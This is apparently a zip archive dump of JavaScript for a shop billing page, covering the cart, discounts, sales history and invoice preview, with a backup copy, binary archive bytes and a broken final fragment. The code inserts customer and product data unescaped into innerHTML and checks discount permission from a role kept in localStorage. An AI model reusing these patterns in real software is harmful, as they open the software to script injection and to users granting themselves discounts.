1rem; margin-bottom: 1rem;"> <div> <strong>Date:</strong> ${app.formatDate(transaction.transaction_date)} </div> <div> <strong>Customer:</strong> ${transaction.customer_name} </div> <div> <strong>Payment:</strong> <span class="badge badge-cash">Cash</span> </div> <div> <strong>Total:</strong> <span style="color: var(--danger); font-weight: 700;">${app.formatCurrency(transaction.total_amount)}</span> </div> ${transaction.discount_amount > 0 ? ` <div> <strong>Discount:</strong> <span style="color: var(--success); font-weight: 700;">${transaction.discount_percentage}% (-${app.formatCurrency(transaction.discount_amount)})</span> </div> <div> <strong>Final Total:</strong> <span style="color: var(--danger); font-weight: 700;">${app.formatCurrency(transaction.total_amount - transaction.discount_amount)}</span> </div> ` : ''} </div> </div> <h4 style="margin: 1.5rem 0 1rem;">Items</h4> <div class="table-container"> <table> <thead> <tr> <th>SKU</th> <th>Product</th> <th>Qty</th> <th>Price</th> <th>Subtotal</th> </tr> </thead> <tbody> ${transaction.items.map(item => ` <tr> <td>${item.sku_code}</td> <td>${item.product_name} ${item.flavour} (${item.weight})</td> <td>${item.quantity}</td> <td>${app.formatCurrency(item.unit_price)}</td> <td><strong>${app.formatCurrency(item.subtotal)}</strong></td> </tr> `).join('')} </tbody> </table> </div> `; document.getElementById('transactionDetailsContent').innerHTML = content; document.getElementById('transactionDetailsModal').classList.add('active'); } catch (error) { console.error('Error loading transaction details:', error); app.showNotification('Failed to load transaction details', 'error'); } } function closeTransactionDetails() { document.getElementById('transactionDetailsModal').classList.remove('active'); } // Function to preview invoice from current cart function previewInvoiceFromCart() { if (cart.length === 0) { app.showNotification('Please add items to the cart first', 'error'); return; } // Calculate totals const subtotal = cart.reduce((sum, item) => sum + (item.quantity * item.unit_price), 0); const userRole = localStorage.getItem('role'); const discountAllowed = ['Admin', 'Manager'].includes(userRole); let discountPercentage = 0; let discountAmount = 0; let finalTotal = subtotal; // Check for manual discount const discountPercentageInput = document.getElementById('discountPercentage'); if (discountPercentageInput && discountPercentageInput.value) { if (discountAllowed) { const manualDiscount = getManualDiscount(); discountPercentage = manualDiscount.percentage; discountAmount = manualDiscount.amount; finalTotal = subtotal - discountAmount; } } // For cash-only flow, payment type is always 'Cash' const effectivePaymentType = 'Cash'; // Get amount paid from the new input field const amountPaidInput = document.getElementById('amountPaid'); let amountPaid = 0; if (amountPaidInput && amountPaidInput.value) { amountPaid = parseFloat(amountPaidInput.value); if (isNaN(amountPaid) || amountPaid < 0) { app.showNotification('Please enter a valid amount paid', 'error'); return; } } else { // If no amount is entered, default to the final total amountPaid = finalTotal; } // Create a temporary transaction-like object for invoice display const tempTransaction = { id: 'preview', transaction_date: new Date().toISOString().split('T')[0], customer_name: document.getElementById('customerName').value || 'Walk-in Customer', payment_type: effectivePaymentType, items: cart, total_amount: subtotal, discount_percentage: discountPercentage, discount_amount: discountAmount, amount_paid: amountPaid }; // Store the temporary transaction in session storage sessionStorage.setItem('tempTransactionPreview', JSON.stringify(tempTransaction)); // Save current cart state so it persists when user returns saveCartState(); // Open invoices page in a new tab/window window.open('../pages/invoices.html', '_blank'); } async function deleteTransaction(transactionId) { if (confirm('Are you sure you want to VOID this transaction? This will reverse stock changes.')) { try { await app.apiDelete(`/transactions/${transactionId}`); app.showNotification('Transaction voided successfully', 'success'); await loadSalesHistory(); // Refresh history await loadSkus(); // Refresh stock } catch (error) { console.error('Error voiding transaction:', error); app.showNotification('Failed to void transaction', 'error'); } } } // Discount functions function toggleDiscountInput() { const userRole = localStorage.getItem('role'); const discountAllowed = ['Admin', 'Manager'].includes(userRole); const discountGroup = document.getElementById('discountGroup'); if (discountAllowed) { discountGroup.style.display = 'block'; } else { discountGroup.style.display = 'none'; clearDiscount(); } } function updateDiscountAmount() { const discountPercentageInput = document.getElementById('discountPercentage'); const discountAmountDisplay = document.getElementById('discountAmountDisplay'); const subtotal = cart.reduce((sum, item) => sum + (item.quantity * item.unit_price), 0); if (!discountPercentageInput.value) { discountAmountDisplay.textContent = ''; updateBillSummary(); saveCartState(); // Save state when discount is cleared return; } const discountPercentage = parseFloat(discountPercentageInput.value); if (discountPercentage < 0 || discountPercentage > 100) { app.showNotification('Discount percentage must be between 0 and 100', 'error'); discountPercentageInput.value = ''; discountAmountDisplay.textContent = ''; updateBillSummary(); saveCartState(); // Save state when discount is cleared due to error return; } const discountAmount = subtotal * (discountPercentage / 100); discountAmountDisplay.textContent = `-${app.formatCurrency(discountAmount)}`; updateBillSummary(); saveCartState(); // Save state when discount is updated } function clearDiscount() { document.getElementById('discountPercentage').value = ''; document.getElementById('discountAmountDisplay').textContent = ''; updateBillSummary(); saveCartState(); // Save state when discount is cleared } function getManualDiscount() { const discountPercentageInput = document.getElementById('discountPercentage'); if (!discountPercentageInput.value) return { percentage: 0, amount: 0 }; const subtotal = cart.reduce((sum, item) => sum + (item.quantity * item.unit_price), 0); const discountPercentage = parseFloat(discountPercentageInput.value); const discountAmount = subtotal * (discountPercentage / 100); return { percentage: discountPercentage, amount: discountAmount }; } // Initialize discount input visibility on page load function initializeDiscountInput() { const userRole = localStorage.getItem('role'); const discountAllowed = ['Admin', 'Manager'].includes(userRole); const discountGroup = document.getElementById('discountGroup'); if (discountAllowed) { discountGroup.style.display = 'block'; } else { discountGroup.style.display = 'none'; clearDiscount(); } }PK ��\��b�s[ s[ scripts/billing.js.baknu �[��� let allSkus = []; let cart = []; document.addEventListener('DOMContentLoaded', async () => { // Set today's date document.getElementById('transactionDate').valueAsDate = new Date(); // Load SKUs await loadSkus(); }); async function loadSkus() { try { allSkus = await app.apiGet('/skus'); const skuSelect = document.getElementById('skuSelect'); skuSelect.innerHTML = '<option value="">Select a product...</option>' + allSkus.map(sku => ` <option value="${sku.id}" data-price="${sku.price}" data-stock="${sku.current_stock}"> ${sku.sku_code} - ${sku.product_name} ${sku.flavour} (${sku.weight}) - ${app.formatCurrency(sku.price)} [Stock: ${sku.current_stock}] </option> `).join(''); } catch (error) { console.error('Error loading SKUs:', error); app.showNotification('Failed to load products', 'error'); } } function addItemToCart() { const skuSelect = document.getElementById('skuSelect'); const quantity = parseInt(document.getElementById('itemQuantity').value); if (!skuSelect.value) { app.showNotification('Please select a product', 'error'); return; } if (quantity < 1) { app.showNotification('Quantity must be at least 1', 'error'); return; } const skuId = parseInt(skuSelect.value); const sku = allSkus.find(s => s.id === skuId); const selectedOption = skuSelect.options[skuSelect.selectedIndex]; const availableStock = parseInt(selectedOption.dataset.stock); // Check if already in cart const existingItem = cart.find(item => item.sku_id === skuId); const totalQuantity = existingItem ? existingItem.quantity + quantity : quantity; if (totalQuantity > availableStock) { app.showNotification(`Insufficient stock! Available: ${availableStock}`, 'error'); return; } if (existingItem) { existingItem.quantity = totalQuantity; } else { cart.push({ sku_id: skuId, sku_code: sku.sku_code, product_name: sku.product_name, flavour: sku.flavour, weight: sku.weight, unit_price: sku.price, quantity: quantity }); } // Reset selection skuSelect.value = ''; document.getElementById('itemQuantity').value = 1; updateCartDisplay(); } function removeItemFromCart(index) { cart.splice(index, 1); updateCartDisplay(); } function updateCartDisplay() { const cartContainer = document.getElementById('cartItems'); const submitBtn = document.getElementById('submitBtn'); if (cart.length === 0) { cartContainer.innerHTML = '<p class="text-muted" style="text-align: center; padding: 2rem;">No items added yet</p>'; submitBtn.disabled = true; updateBillSummary(); return; } submitBtn.disabled = false; cartContainer.innerHTML = ` <div style="background: var(--bg-tertiary); border-radius: var(--radius-md); padding: 1rem;"> ${cart.map((item, index) => ` <div style="display: flex; justify-content: space-between; align-items: center; padding: 0.75rem 0; ${index < cart.length - 1 ? 'border-bottom: 1px solid var(--glass-border);' : ''}"> <div style="flex: 1;"> <div style="font-weight: 600; color: var(--text-primary);">${item.sku_code}</div> <div style="font-size: 0.875rem; color: var(--text-muted);">${item.product_name} ${item.flavour} (${item.weight})</div> </div> <div style="display: flex; align-items: center; gap: 1rem;"> <div style="text-align: right;"> <div style="color: var(--text-secondary);">${item.quantity} × ${app.formatCurrency(item.unit_price)}</div> <div style="font-weight: 600; color: var(--text-primary);">${app.formatCurrency(item.quantity * item.unit_price)}</div> </div> <button type="button" class="btn btn-danger" onclick="removeItemFromCart(${index})" style="padding: 0.5rem 0.75rem; font-size: 0.75rem;"> Remove </button> </div> </div> `).join('')} </div> `; updateBillSummary(); } function updateBillSummary() { const itemCount = cart.reduce((sum, item) => sum + item.quantity, 0); const subtotal = cart.reduce((sum, item) => sum + (item.quantity * item.unit_price), 0); // Get user role to determine if discount is allowed const userRole = localStorage.getItem('role'); const discountAllowed = ['Admin', 'Manager'].includes(userRole); // Calculate discount based on rules: Bill ≥ 2000 → 10% discount (only if authorized) let discountPercentage = 0; let discountAmount = 0; let finalTotal = subtotal; if (subtotal >= 2000 && discountAllowed) { discountPercentage = 10; discountAmount = subtotal * (discountPercentage / 100); finalTotal = subtotal - discountAmount; } document.getElementById('summaryItemCount').textContent = itemCount; document.getElementById('summarySubtotal').textContent = app.formatCurrency(subtotal); document.getElementById('summaryDiscount').textContent = app.formatCurrency(discountAmount); document.getElementById('summaryTotal').textContent = app.formatCurrency(finalTotal); } function toggleInitialPayment() { const isCredit = document.querySelector('input[name="paymentType"]:checked').value === 'Credit'; const initialPaymentGroup = document.getElementById('initialPaymentGroup'); const initialPaymentInput = document.getElementById('initialPayment'); initialPaymentGroup.style.display = isCredit ? 'block' : 'none'; if (!isCredit) { initialPaymentInput.value = ''; } } async function processSale(event) { event.preventDefault(); if (cart.length === 0) { app.showNotification('Please add items to the cart', 'error'); return; } // Get user role to determine if discount is allowed const userRole = localStorage.getItem('role'); const discountAllowed = ['Admin', 'Manager'].includes(userRole); // Calculate discount for the transaction (manual input takes precedence over automatic) const subtotal = cart.reduce((sum, item) => sum + (item.quantity * item.unit_price), 0); let discountPercentage = 0; let discountAmount = 0; // Check if manual discount is entered const discountPercentageInput = document.getElementById('discountPercentage'); if (discountPercentageInput && discountPercentageInput.value) { // Validate discount authorization if (!discountAllowed) { app.showNotification('Only Admin or Manager can apply manual discounts', 'error'); return; } const manualDiscount = getManualDiscount(); discountPercentage = manualDiscount.percentage; discountAmount = manualDiscount.amount; } else { // Apply automatic discount if applicable if (subtotal >= 2000 && discountAllowed) { discountPercentage = 10; discountAmount = subtotal * (discountPercentage / 100); } else if (subtotal >= 2000 && !discountAllowed) { // If discount threshold is met but user is not authorized, show error app.showNotification('Discounts can only be applied by Admin or Manager', 'error'); return; } } const finalTotal = subtotal - discountAmount; const paymentType = document.querySelector('input[name="paymentType"]:checked').value; let amountPaid = finalTotal; // Default to full payment for Cash if (paymentType === 'Credit') { const initialPaymentVal = document.getElementById('initialPayment').value; amountPaid = initialPaymentVal ? parseFloat(initialPaymentVal) : 0; if (amountPaid > finalTotal) { app.showNotification('Initial payment cannot exceed total amount', 'error'); return; } } const transactionData = { transaction_date: document.getElementById('transactionDate').value, customer_name: document.getElementById('customerName').value || 'Walk-in Customer', payment_type: paymentType, items: cart, discount_percentage: discountPercentage, discount_amount: discountAmount, amount_paid: amountPaid }; try { const result = await app.apiPost('/transactions', transactionData); app.showNotification(`Sale completed! Total: ${app.formatCurrency(result.final_total || result.total_amount)}`, 'success'); // Reset form cart = []; document.getElementById('billingForm').reset(); document.getElementById('transactionDate').valueAsDate = new Date(); updateCartDisplay(); // Reload SKUs to update stock levels await loadSkus(); } catch (error) { console.error('Error processing sale:', error); app.showNotification('Failed to process sale', 'error'); } } async function viewSalesHistory() { document.getElementById('salesHistorySection').style.display = 'block'; await loadSalesHistory(); } function closeSalesHistory() { document.getElementById('salesHistorySection').style.display = 'none'; } async function loadSalesHistory(filters = {}) { try { let url = '/transactions'; const params = new URLSearchParams(); if (filters.start_date) params.append('start_date', filters.start_date); if (filters.end_date) params.append('end_date', filters.end_date); if (filters.payment_type) params.append('payment_type', filters.payment_type); if (params.toString()) url += '?' + params.toString(); const transactions = await app.apiGet(url); const tbody = document.getElementById('salesHistoryBody'); if (transactions.length === 0) { tbody.innerHTML = '<tr><td colspan="5" class="loading">No transactions found</td></tr>'; return; } tbody.innerHTML = transactions.map(transaction => ` <tr class="fade-in"> <td>${app.formatDate(transaction.transaction_date)}</td> <td>${transaction.customer_name}</td> <td><span class="badge badge-${transaction.payment_type.toLowerCase()}">${transaction.payment_type}</span></td> <td> <div><strong>${app.formatCurrency(transaction.total_amount)}</strong></div> ${transaction.discount_amount > 0 ? `<div style="font-size: 0.8rem; color: var(--success);">-${transaction.discount_percentage}% (-${app.formatCurrency(transaction.discount_amount)})</div>` : ''} </td> <td> <button class="btn btn-secondary" onclick="viewTransactionDetails(${transaction.id})" style="padding: 0.5rem 1rem; font-size: 0.75rem;"> View Details </button> <button class="btn btn-danger" onclick="deleteTransaction(${transaction.id})" style="padding: 0.5rem 1rem; font-size: 0.75rem; margin-left: 0.5rem;"> Void </button> </td> </tr> `).join(''); } catch (error) { console.error('Error loading sales history:', error); document.getElementById('salesHistoryBody').innerHTML = '<tr><td colspan="5" class="loading">Failed to load sales history</td></tr>'; } } function filterSalesHistory() { const filters = { start_date: document.getElementById('filterStartDate').value, end_date: document.getElementById('filterEndDate').value, payment_type: document.getElementById('filterPaymentType').value }; loadSalesHistory(filters); } async function viewTransactionDetails(transactionId) { try { const transaction = await app.apiGet(`/transactions/${transactionId}`); const content = ` <div style="margin-bottom: 1rem;"> <div style="display: grid; grid-template-columns: 1fr 1fr; gap: 1rem; margin-bottom: 1rem;"> <div> <strong>Date:</strong> ${app.formatDate(transaction.transaction_date)} </div> <div> <strong>Customer:</strong> ${transaction.customer_name} </div> <div> <strong>Payment:</strong> <span class="badge badge-${transaction.payment_type.toLowerCase()}">${transaction.payment_type}</span> </div> <div> <strong>Total:</strong> <span style="color: var(--danger); font-weight: 700;">${app.formatCurrency(transaction.total_amount)}</span> </div> ${transaction.discount_amount > 0 ? ` <div> <strong>Discount:</strong> <span style="color: var(--success); font-weight: 700;">${transaction.discount_percentage}% (-${app.formatCurrency(transaction.discount_amount)})</span> </div> <div> <strong>Final Total:</strong> <span style="color: var(--danger); font-weight: 700;">${app.formatCurrency(transaction.total_amount - transaction.discount_amount)}</span> </div> ` : ''} </div> </div> <h4 style="margin: 1.5rem 0 1rem;">Items</h4> <div class="table-container"> <table> <thead> <tr> <th>SKU</th> <th>Product</th> <th>Qty</th> <th>Price</th> <th>Subtotal</th> </tr> </thead> <tbody> ${transaction.items.map(item => ` <tr> <td>${item.sku_code}</td> <td>${item.product_name} ${item.flavour} (${item.weight})</td> <td>${item.quantity}</td> <td>${app.formatCurrency(item.unit_price)}</td> <td><strong>${app.formatCurrency(item.subtotal)}</strong></td> </tr> `).join('')} </tbody> </table> </div> `; document.getElementById('transactionDetailsContent').innerHTML = content; document.getElementById('transactionDetailsModal').classList.add('active'); } catch (error) { console.error('Error loading transaction details:', error); app.showNotification('Failed to load transaction details', 'error'); } } function closeTransactionDetails() { document.getElementById('transactionDetailsModal').classList.remove('active'); } async function deleteTransaction(transactionId) { if (confirm('Are you sure you want to VOID this transaction? This will reverse stock changes.')) { try { await app.apiDelete(`/transactions/${transactionId}`); app.showNotification('Transaction voided successfully', 'success'); await loadSalesHistory(); // Refresh history await loadSkus(); // Refresh stock } catch (error) { console.error('Error voiding transaction:', error); app.showNotification('Failed to void transaction', 'error'); } } } // Discount functions function toggleDiscountInput() { const userRole = localStorage.getItem('role'); const discountAllowed = ['Admin', 'Manager'].includes(userRole); const discountGroup = document.getElementById('discountGroup'); if (discountAllowed) { discountGroup.style.display = 'block'; } else { discountGroup.style.display = 'none'; clearDiscount(); } } function updateDiscountAmount() { const discountPercentageInput = document.getElementById('discountPercentage'); const discountAmountDisplay = document.getElementById('discountAmountDisplay'); const subtotal = cart.reduce((sum, item) => sum + (item.quantity * item.unit_price), 0); if (!discountPercentageInput.value) { discountAmountDisplay.textContent = ''; updateBillSummary(); return; } const discountPercentage = parseFloat(discountPercentageInput.value); if (discountPercentage < 0 || discountPercentage > 100) { app.showNotification('Discount percentage must be between 0 and 100', 'error'); discountPercentageInput.value = ''; discountAmountDisplay.textContent = ''; updateBillSummary(); return; } const discountAmount = subtotal * (discountPercentage / 100); discountAmountDisplay.textContent = `-${app.formatCurrency(discountAmount)}`; updateBillSummary(); } function clearDiscount() { document.getElementById('discountPercentage').value = ''; document.getElementById('discountAmountDisplay').textContent = ''; updateBillSummary(); } function getManualDiscount() { const discountPercentageInput = document.getElementById('discountPercentage'); if (!discountPercentageInput.value) return { percentage: 0, amount: 0 }; const subtotal = cart.reduce((sum, item) => sum + (item.quantity * item.unit_price), 0); const discountPercentage = parseFloat(discountPercentageInput.value); const discountAmount = subtotal * (discountPercentage / 100); return { percentage: discountPercentage, amount: discountAmount }; } // Initialize discount input visibility on page load function initializeDiscountInput() { const userRole = localStorage.getItem('role'); const discountAllowed = ['Admin', 'Manager'].includes(userRole); const discountGroup = document.getElementById('discountGroup'); if (discountAllowed) { discountGroup.style.display = 'block'; } else { discountGroup.style.display = 'none'; clearDiscount(); } } / / D i s c o u n t f u n c t i o n s f o r b i l l i n g s y s t e m f u n c t i o n t o g g l e D i s c o u n t I n p u t ( ) { c o n s t u s e r R o l e = l o c a l S t o r a g e . g e t I t e m ( '